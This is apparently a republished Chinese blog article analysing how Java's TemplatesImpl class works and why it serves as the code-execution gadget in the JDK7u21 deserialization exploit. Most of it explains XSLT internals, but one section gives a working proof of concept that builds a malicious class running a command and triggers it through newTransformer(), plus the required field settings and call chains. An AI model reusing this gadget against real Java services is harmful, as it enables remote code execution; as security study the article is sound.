<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】由JDK7u21反序列化漏洞引起的對TemplatesImpl的深入學習

    VSole2021-07-23 16:02:02

    最近在分析JDK7u21反序列化漏洞,對命令執行載體com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的利用點不太明白。除了JDK7u21,TemplatesImpl在很多反序列化漏洞中都被利用了,所以想要深入探究下它到底是做什么用的,有什么特性被利用。接下來本文將從這兩個問題進行探索學習。

    了解Templateslmpl

    1、XSLT

    在開始前首先了解下XSLT:

    XSL 指擴展樣式表語言(EXtensible Stylesheet Language), 它是一個 XML 文檔的樣式表語言,類似CSS之于HTML;

    XSLT(Extensible Stylesheet Language Transformations)是XSL轉換語言,它是XSL的一部分,用于轉換 XML 文檔,可將一種 XML 文檔轉換為另外一種 XML 文檔,如XHTML;

    簡化版XSLT實例:

    我們從一個例子來了解下XSLT,將XML轉為HTML格式展示。

    XML:cdcatalog.xml,保存了文章數據包括文章標題、作者等。

    <catalog>  <cd>    <title>EmpireBurlesquetitle>    <artist>BobDylanartist>    <country>USAcountry>    <company>Columbiacompany>    <price>10.90price>    <year>1985year>  cd>  <cd>    <title>Hideyour hearttitle>    <artist>BonnieTylerartist>    <country>UKcountry>    <company>CBSRecordscompany>    <price>9.90price>    <year>1988year>  cd>catalog>
    

    XSL:cdcatalog.xsl

    XSL 樣式表的根元素是  或 ;

    元素定義了輸出文檔的格式;

    XSL 樣式表由一個或多個被稱為模板(template)的規則組成, 元素用于構建模板。

    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">        <xsl:outputmethod="html" version="4.0" encoding="iso-8859-1"indent="yes"/>    <xsl:templatematch="/">       <html>           <body>                <h2>My CD Collectionh2>                <table border="1">                    <tr>                        <th style="text-align:left">Titleth>                        <th style="text-align:left">Artistth>                    tr>                    <xsl:for-each select="catalog/cd">                        <tr>                            <td><xsl:value-ofselect="title"/>td>                            <td><xsl:value-ofselect="artist"/>td>                        tr>                    xsl:for-each>                table>           body>       html>    xsl:template>xsl:stylesheet>
    

    轉換結果如下,讀取xml的元素并展示為html格式:

    2、javax.xml.transform.Templates

    TemplatesImpl實現了javax.xml.transform.Templates接口,javax.xml.transform屬于JAXP(Java API forXMLProcessing,提供解析和驗證XML文檔的能力),是一個處理XSL轉換(XSLT)的包,定義了用于處理轉換指令以及執行從源到結果的轉換的API。javax.xml.transform.Templates是用來處理XSLT模板的,它只定義了兩個方法:

    3、XSLTC和Translets

    TemplatesImpl在com.sun.org.apache.xalan.internal.xsltc包下,xalan是Apache的一個項目,是XSLT處理器。

    XSLTC指xslt compiler或xslt compiling,可以把XSLT文件編譯成一個或者多個Java的class文件,通過這種方式可以加速xsl的轉換速度。這些class或者class的集合被稱為Translets,他們被轉換時自動會繼承AbstractTranslet。

    利用Xalan命令行工具(注意使用jdk1.8以前版本)將XSLT文件轉為class:


    javacom.sun.org.apache.xalan.internal.xsltc.cmdline.Compile cdcatalog.xsl
    

    執行命令后會在文件夾下生成一個class文件:

    4、TemplatesImpl類解讀

    TemplatesImpl主要是通過獲取Translet的Class或字節碼來創建 XSLTC 模板對象。根據上面第3點的學習這里不難理解,XSLTC生成的Translets,需要轉為模板對象,可以用TemplatesImpl定義和處理。

    public final class TemplatesImpl implementsTemplates, Serializable
    

    4.1、靜態內部類TransletClassLoader:

    TemplatesImpl通過獲取Translet的Class或字節碼來創建 XSLTC 模板對象,需要在運行時加載class,因此其在內部自定義了一個靜態類TransletClassLoader用來加載Translet的Class對象,并且重載了loadClass和defineClass方法。

    我們知道ClassLoader的loadClass通過一個類名全稱返回一個Class類的實例;

    而defineClass通過接收一組字節,然后將其具體化為一個Class類的實例,它一般從磁盤上加載一個文件,然后將文件的字節碼傳遞給JVM,通過JVM(native 方法)對于Class的定義將其實例化為一個Class類的實例。

    static final class TransletClassLoader extendsClassLoader {    privatefinal Map<String,Class> _loadedExternalExtensionFunctions;      TransletClassLoader(ClassLoaderparent) {        super(parent);       _loadedExternalExtensionFunctions = null;    }    TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {       super(parent);       _loadedExternalExtensionFunctions = mapEF;    }     publicClass loadClass(String name) throws ClassNotFoundException {       Class ret = null;       // 當SecurityManager未設置且FSP關閉時,_loaddexternalextensionfunctions將為空       if (_loadedExternalExtensionFunctions != null) {            ret =_loadedExternalExtensionFunctions.get(name);       }       if (ret == null) {           // 調用super.loadClass,通過類全稱獲取Class類實例           ret = super.loadClass(name);       }       return ret;    }     //從外部類訪問protected修飾的父類方法。    ClassdefineClass(final byte[] b) {       // 調用super.defineClass,通過字節碼來獲取Class類實例       return defineClass(null, b, 0, b.length);    }}
    

    4.2、屬性說明:

    4.3、構造方法解析:

    TemplatesImpl提供了兩個有參構造方法都是protected,如果TemplatesImpl要實例化,需要通過內部方法進行調用。

    構造方法1:通過字節碼創建template對象,必須提供translet和輔助類的字節碼,以及主translet類的名稱。

    protected TemplatesImpl(byte[][] bytecodes,String transletName, Properties outputProperties, int indentNumber,TransformerFactoryImpl tfactory){   _bytecodes = bytecodes;   init(transletName, outputProperties, indentNumber, tfactory);}
    

    構造方法2:通過translet類創建XSLTC模板對象。

    protected TemplatesImpl(Class[]transletClasses, String transletName, Properties outputProperties, intindentNumber, TransformerFactoryImpl tfactory){   _class     = transletClasses;   _transletIndex = 0;   init(transletName, outputProperties, indentNumber, tfactory);}
    

    4.4、Templates接口方法實現:

    首先是Templates接口的兩個方法:newTransformer和getOutputProperties,newTransformer會調用TransformerImpl有參構造方法。

    // 實現JAXP's Templates.newTransformer()public synchronized Transformer newTransformer()    throwsTransformerConfigurationException{   TransformerImpl transformer;     //調用TransformerImpl構造函數創建一個TransformerImpl實例   transformer = new TransformerImpl(getTransletInstance(), _outputProperties,       _indentNumber, _tfactory);     if(_uriResolver != null) {       transformer.setURIResolver(_uriResolver);    }     if(_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {       transformer.setSecureProcessing(true);    }    returntransformer;} // 實現了JAXP的Templates.getOutputProperties()。需要實例化一個translet以獲得輸出屬性,因此我們可以實例化一個Transformer來調用它。public synchronized Properties getOutputProperties(){    try{       return newTransformer().getOutputProperties();    }    catch (TransformerConfigurationException e) {       return null;    }}
    

    4.5、方法說明:

    5、XML-XSLT-HTML在Java中的轉換實例

    接下來我們看一個XML-XSLT-HTML的常規轉換例子,通過這個例子我們可以知道轉換在Java中實現的步驟。

    import javax.xml.transform.*;import java.io.FileNotFoundException;import java.io.FileOutputStream; public class TestTmp {     publicstatic void main(String[] args) throws TransformerException,FileNotFoundException {       new TestTmp().testTransform();    }     publicvoid testTransform() throws TransformerException, FileNotFoundException {       /*---- 1、使用TransformFactory的newInstance方法創建一個新的實例。-------------------*/       // TransformFactory的缺省實現是com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl類       TransformerFactory oFactory = TransformerFactory.newInstance();        /*---- 2、使用TransformFactory的newTemplates方法創建一個Templates界面的實現對象。-------------------*/       //Templates的缺省實現 是org.apache.xalan.templates.StylesheetRoot       Templates oTemplates = oFactory.newTemplates(                //使用一個StreamSource對象來讀取一個xsl文檔                newjavax.xml.transform.stream.StreamSource("cdcatalog.xsl")       );        /*---- 3、使用Templates的newTransformer方法創建一個新的Transformer。-------------------*/       //Transformer的缺省實現是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl       Transformer transformer = oTemplates.newTransformer();         /*---- 4、使用Transformer進行轉換。-------------------*/       transformer.transform(                //創建一個StreamSource對象來讀取atom.xml                newjavax.xml.transform.stream.StreamSource("cdcatalog.xml"),                //使用out作為輸出writer創建一個StreamResult輸出轉換結果。                newjavax.xml.transform.stream.StreamResult(new FileOutputStream("E:\\1.html")));    }}
    

    執行上面代碼最終會在文件夾下生成一個1.html文件,1.html跟上述第一部分的示例轉換結果一致。

    通過上面代碼,我們可以總結出一個XML-XSLT-HTML的轉換在Java中一般有以下4個步驟:

    • 創建一個TransformFactory對象;
    • 調用TransformFactory.newTemplates通過XSL樣式表創建一個Templates對象;
    • 調用Templates.newTransformer創建一個Transformer對象;
    • 最后通過Transformer.transform將源-XML文檔轉換為目標-HTML文檔。

    其中需要注意的是以上接口的缺省實現都是Xalan提供的com.sun.org.apache.xalan庫內對應的實現類來創建對象。

    TransformFactory.newTemplates通過XSL樣式表創建一個Templates對象,其實現主要由三個部分:

    • 如果_useClasspath屬性為true,則嘗試從CLASSPATH加載文件,并使用XSL樣式表文件加載后的Class創建模板對象:調用new TemplatesImpl(new Class[]{clazz}, transletName, null,_indentNumber, this);
    • 如果_autoTranslet為true,將嘗試在不編譯樣式表的情況下從translet類加載字節碼來創建對象;
    • 以上兩種條件不滿足,直接創建并初始化樣式表編譯器來編譯樣式表,生成字節碼,通過字節碼創建模板對象。

    被反序列化漏洞利用的特性

    清楚了TemplatesImpl的方法和使用方式,接下來這部分我們探索下它跟反序列化漏洞的關系。

    1、JDK7u21的TemplatesImpl利用測試

    我們將JDK7u21分析poc的returntemplates;改為templates.newTransformer()進行測試。

    public void testTemplate() throws Exception{    //1、通過javassist創建一個Evil類的字節碼,設置它的構造方法內部調用exec方法   ClassPool pool = ClassPool.getDefault();//ClassPool對象是一個表示class文件的CtClass對象的容器   CtClass cc = pool.makeClass("Evil");//創建Evil類   cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//設置Evil類的父類為AbstractTranslet   CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//創建無參構造函數   cons.setBody("{ Runtime.getRuntime().exec(\"calc\");}");//設置無參構造函數體   cc.addConstructor(cons);    byte[]byteCode = cc.toBytecode();//toBytecode得到Evil類的字節碼    byte[][]targetByteCode = new byte[][]{byteCode};    //2、創建一個TemplatesImpl對象,設置屬性_bytecodes值為Evil類的字節碼   TemplatesImpl templates = TemplatesImpl.class.newInstance();   setFieldValue(templates, "_bytecodes", targetByteCode);//設置_bytecodes是屬性   setFieldValue(templates, "_class", null);   setFieldValue(templates, "_name", "xx");   setFieldValue(templates, "_tfactory", newTransformerFactoryImpl());    //3、調用newTransformer()   templates.newTransformer();} //通過反射為obj的屬性賦值private static void setFieldValue(finalObject obj, final String fieldName, final Object value) throws Exception {   Field field = obj.getClass().getDeclaredField(fieldName);   field.setAccessible(true);   field.set(obj, value);}
    

    調用上述testTemplate方法,最終會彈出計算器:

    為什么能夠執行Runtime.getRuntime().exec(\"calc\"),關鍵點在于第3步templates.newTransformer();,接下來重點分析下。

    2、newTransformer()分析:

    2.1、newTransformer

    根據4.4我們知道newTransformer()會調用TransformerImpl構造函數創建實例:new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory),getTransletInstance()會返回Translet類的實例;

    2.2、getTransletInstance

    getTransletInstance在一開始時對_name和_class實現進行了判斷,當_name不為null而_class是null就會調用defineTransletClasses來獲取Translet的Class對象,接著會調用newInstance實例化Translet。

    //如果_name屬性為null返回Translet是nullif (_name == null) return null;// 如果_class屬性是null調用defineTransletClassesif (_class == null)defineTransletClasses();// 當屬性_class被賦值,即要轉換的樣式表class文件translet類存在,通過translet類來實例化AbstractTranslet translet =(AbstractTranslet) _class[_transletIndex].newInstance();translet.postInitialization();translet.setTemplates(this);translet.setOverrideDefaultParser(_overrideDefaultParser);translet.setAllowedProtocols(_accessExternalStylesheet);if (_auxClasses != null) {    //translet需要保留對所有輔助類的引用,以防止GC收集它們   translet.setAuxiliaryClasses(_auxClasses);} return translet;
    

    2.3、defineTransletClasses:

    defineTransletClasses用來定義translet類和輔助類,會創建一個內部類TransletClassLoader的對象,通過該對象調用defineClass,根據之前4.1的分析我們知道defineClass會調用Java虛擬機的native方法生成一個Translet類的Class對象。所以到這里我們最終能夠獲取到Evil字節碼生成的Class對象,再經過2.2AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance()對Evil類進行實例化,最終能夠執行命令彈出計算器。以下是defineTransletClasses的關鍵代碼摘取:

    // 字節碼未定義拋出異常if (_bytecodes == null) {   ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);    thrownew TransformerConfigurationException(err.toString());} //創建一個內部類TransletClassLoader的對象TransletClassLoader loader =(TransletClassLoader)    //注意_tfactory.getExternalExtensionsMap()調用TransformerFactoryImpl的getExternalExtensionsMap,因此_tfactory我們要注意賦值,并且是TransformerFactoryImpl的實例   AccessController.doPrivileged(new PrivilegedAction() {       public Object run() {return newTransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}}); // 循環定義所有類,包括translet主類和它的內部類_class = new Class[classCount];for (int i = 0; i < classCount; i++) {    //關鍵點 調用TransletClassLoader.defineClass通過字節碼定義類   _class[i] = loader.defineClass(_bytecodes[i]);    finalClass superClass = _class[i].getSuperclass();    //通過ABSTRACT_TRANSLET判斷是否是主類    if(superClass.getName().equals(ABSTRACT_TRANSLET)) {       _transletIndex = i;    }    else{       _auxClasses.put(_class[i].getName(), _class[i]);    }}
    

    2.4、小結

    通過前面3步的分析,執行惡意代碼需要兩個條件:一是調用defineTransletClasses獲取Evil的Class對象,二是將Class對象實例化調用構造方法。

    另外我們也能明白上面的屬性為什么要被這樣賦值:

    • _bytecodes被賦值為我們定義的惡意類的字節碼,該類需要繼承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet(對應2.3的代碼分析)
    • _class必須為null(對應2.2的分析)
    • _name必須不為null(對應2.2的分析)
    • _tfactory必須是TransformerFactoryImpl實例(對應2.3的代碼分析)

    3、由newTransformer()進行拓展

    閱讀wEik1的分析后發現還可以拓展:

    既然只要調用defineTransletClasses就能獲取指定字節碼定義的類的對象,那我們可以在TemplatesImpl類通過搜索尋找有沒有其它方法調用defineTransletClasses。搜索后發現一共有3個方法(包括getTransletInstance)調用defineTransletClasses:

    private Translet getTransletInstance()public synchronized int getTransletIndex()private synchronized Class[] getTransletClasses()
    

    經過第2.4小結我們可以排除getTransletIndex和getTransletClasses,因為它們僅調用了getTransletInstance并沒有進行實例化。那我們將目光聚集在getTransletInstance,它在內部除了被newTransformer()調用,也沒有其它直接被調用的情況了,因此也被排除。本來到這里應該結束了,但我們不能忽略一點-newTransformer的調用,可以考慮通過newTransformer的調用來進行利用。newTransformer在內部有被getOutputProperties調用,getOutputProperties是public方法,并且getOutputProperties在內部不再被調用,因此總結下來共2個鏈可以實現惡意類的實例化:

    newTransformer()->getTransletInstance()->defineTransletClasses()getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()
    

    總結與思考

    通過本次學習我們了解了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl本身是用來進行xsl轉換的,主要通過XSLTC接收xsl文檔生成的Translets類的字節碼來創建 XSLTC模板對象。那么由于需要處理字節碼,其在內部定義了類加載器并重載了defineClass,defineClass能夠返回字節碼的Class對象方便后續的實例化,而這也是我們能夠利用它執行惡意代碼的關鍵。

    通過構造惡意類的字節碼并使用defineClass返回其Class對象,實例化后即可執行我們想要的結果。繼續思考,我們可以想到Java是否還存在類似的類(內部定義了類加載器并重載了defineClass)能被我們利用,這里不展開了可自行探索。

    參考鏈接

    https://xalan.apache.org/xalan-j/apidocs/org/apache/xalan/xsltc/trax/TemplatesImpl.html

    https://www.runoob.com/xsl/xsl-transformation.html

    https://docs.oracle.com/javase/7/docs/api/javax/xml/transform/Templates.html

    https://blog.weik1.top/2021/01/15/TemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE/

    http://terpconnect.umd.edu/~zhangx/xml/html/xmlprog/xalan/xsltc.html

    https://blog.csdn.net/z_dy1/article/details/104427617

    xml格式字節碼
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    它指的是一個有用的工具庫,幫助處理和操作XML格式的數據。ROME庫允許我們把XML數據轉換成Java中的對象,這樣我們可以更方便地在程序中操作數據。另外,它也支持將Java對象轉換成XML數據,這樣我們就可以把數據保存成XML文件或者發送給其他系統。
    本篇文章是WebLogic中間件漏洞復現,記錄了近幾年來爆出的WebLogic中間件漏洞主要分為六個部分:WebLogic簡介、WebLogic安裝、WebLogic漏洞復現、WebLogic SSRF聯動Redis、WebLogic實戰和WebLogic防御措施。
    最近在分析JDK7u21反序列化漏洞,對命令執行載體com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的利用點不太明白。
    一文看懂內存
    2022-01-02 22:31:21
    它負責處理用戶的請求,并根據請求生成相應的返回信息提供給用戶。業務邏輯處理完成之后,返回給Servlet容器,然后容器將結果返回給客戶端。Filter對象創建后會駐留在內存,當web應用移除或服務器停止時才銷毀。該方法在Filter的生命周期中僅執行一次。
    Java反序列化是java安全的基礎,想要學好java反序列化,就不能只看看相關文章,要自己動手實踐,看看java反序列化到底是怎么回事。JSON和XML是通用數據交互格式,通常用于不同語言、不同環境下數據的交互,比如前端的JavaScript通過JSON和后端服務通信、微信服務器通過XML和公眾號服務器通信。快速入門Java Serialization(序列化):將java對象以一連串的字節保存在磁盤文件中的過程,也可以說是保存java對象狀態的過程。
    直到前一段時間,有小伙伴反饋重打包某APP,始終失敗,幾乎放棄,原因是DEX中出現了很多非法花指令,他解包時所有的DEX都需要反編譯,由于非法指令太多,回編譯后的APK始終無法正常使用。隨著字節指令級的對抗升級,這種問題或許會越來越普遍。針對這種問題,最終極的解決方法就是不反編譯,直接給DEX文件中的指令打補丁,但其中牽扯到指令格式、局部寄存器、各種索引問題需要解決,并非易事。
    unserialize()函數能夠重新把字符串變回php原來的值。為了能夠unserialize()一個對象,這個對象的類必須已經定義過。如果序列化類A的一個對象,將會返回一個跟類A相關,而且包含了對象所有變量值的字符串。將對象格式化成有序的字符串。序列化的目的是方便數據的傳輸和存儲,在PHP中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。
    HW藍隊初級面試總結
    2022-10-12 07:00:02
    一、sql注入原理、分類、繞過原理:產生sql注入漏洞主要因為沒有對接受到的參數進行過濾、驗證和處理直接拼接到了sql語句中,然后直接執行該sql語句,這樣就會導致惡意用戶傳入一些精心構造的sql代碼,與后臺sql語句拼接后形成完整的sql語句執行,達到攻擊者的目的。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类